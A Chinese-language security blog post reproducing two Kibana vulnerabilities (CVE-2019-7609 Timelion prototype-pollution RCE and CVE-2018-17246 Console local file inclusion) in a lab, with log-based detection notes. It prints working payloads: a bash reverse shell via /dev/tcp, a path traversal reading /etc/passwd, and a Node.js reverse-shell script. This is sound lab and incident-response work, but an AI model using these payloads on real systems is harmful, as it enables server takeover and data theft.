大柚子

这世界不过如此

注:本文仅分享个人漏洞复现及排查,请勿用于非法途径。

Kibana是一个开源的分析与可视化平台,设计出来用于和Elasticsearch一起使用的。你可以用kibana搜索、查看存放在Elasticsearch中的数据。Kibana与Elasticsearch的交互方式是各种不同的图表、表格、地图等,直观的展示数据,从而达到高级的数据分析与可视化的目的。

Elasticsearch、Logstash和Kibana这三个技术就是我们常说的ELK技术栈,可以说这三个技术的组合是大数据领域中一个很巧妙的设计。一种很典型的MVC思想,模型持久层,视图层和控制层。Logstash担任控制层的角色,负责搜集和过滤数据。Elasticsearch担任数据持久层的角色,负责储存数据。而我们这章的主题Kibana担任视图层角色,拥有各种维度的查询和分析,并使用图形化的界面展示存放在Elasticsearch中的数据。

CVE-2019-7609 Kibana远程代码执行漏洞

概述

攻击者利用漏洞可以通过Timelion组件中的JavaScript原型链污染攻击,向Kibana发起相关请求,从而接管所在服务器,在服务器上执行任意命令

影响版本

Kibana < 6.6.1

Kibana < 5.6.15

复现过程

使用vulhub环境,报如下错误

输入如下命令,重启docker即可


sysctl -w vm.max_map_count=262144

漏洞点在Timelion处(名字和Timeline有点像)

直接填入Poc,过程和结果如图:


.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i &amp;&gt; /dev/tcp/IP/端口 0&gt;&amp;1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

应急排查

在docker日志中,可以排查到访问api/timelion/run接口的日志,此日志会记录IP,但是不记录具体的执行内容。

kibana的配置文件为 kibana.yml,默认配置日志文件输出路径为stdout,故无日志文件,详细配置可参考

https://www.elastic.co/guide/en/kibana/current/settings.html

CVE-2018-17246 本地文件包含漏洞

概述

Kibana 为 Elassticsearch 设计的一款开源的视图工具。Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻击、任意文件读取攻击、配合第三方应用反弹SHELL攻击

影响版本

ElasticSearch Kibana < 6.4.3
ElasticSearch Kibana < 5.6.13

复现过程

直接使用vulhub环境

任意文件读取

构造GET请求,服务端回复500错误

/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd

但执行结果在服务端,在docker logs 中可以看到执行成功了

反弹shell

通常情况下Kibana与其他的应用程序一起部署,如果应用程序可以上传或者写入Javascript文件的话,攻击者可以通过Nodejs创建一个Reverse Shell,内容如下:

(function(){
	var net = require("net"),cp = require("child_process"),sh = cp.spawn("/bin/sh",[]);
	var client = new net.Socket();
	client.connect(端口,"IP",function(){
		client.pipe(sh.stdin);
		sh.stdout.pipe(client);
		sh.stderr.pipe(client);
	});
	return /a/;
})();

把文件你内容拷贝进docker镜像/tmp/test.js下

访问该文件,得到交互shell

http://192.168.52.134:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/test.js

应急排查

通过docker日志可以看到文件包含的路径,以及请求IP,但是kibana本身是没有记录日志的。

加固建议

升级到安全版本

总结

因为kibana默认是不记录日志的,但是如果是在docker中运行,可以从docker logs中查到相应请求日志,但是没有记录请求内容。

参考链接

https://www.anquanke.com/post/id/168291

http://www.4k8k.xyz/article/xuandao_ahfengren/114579947

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。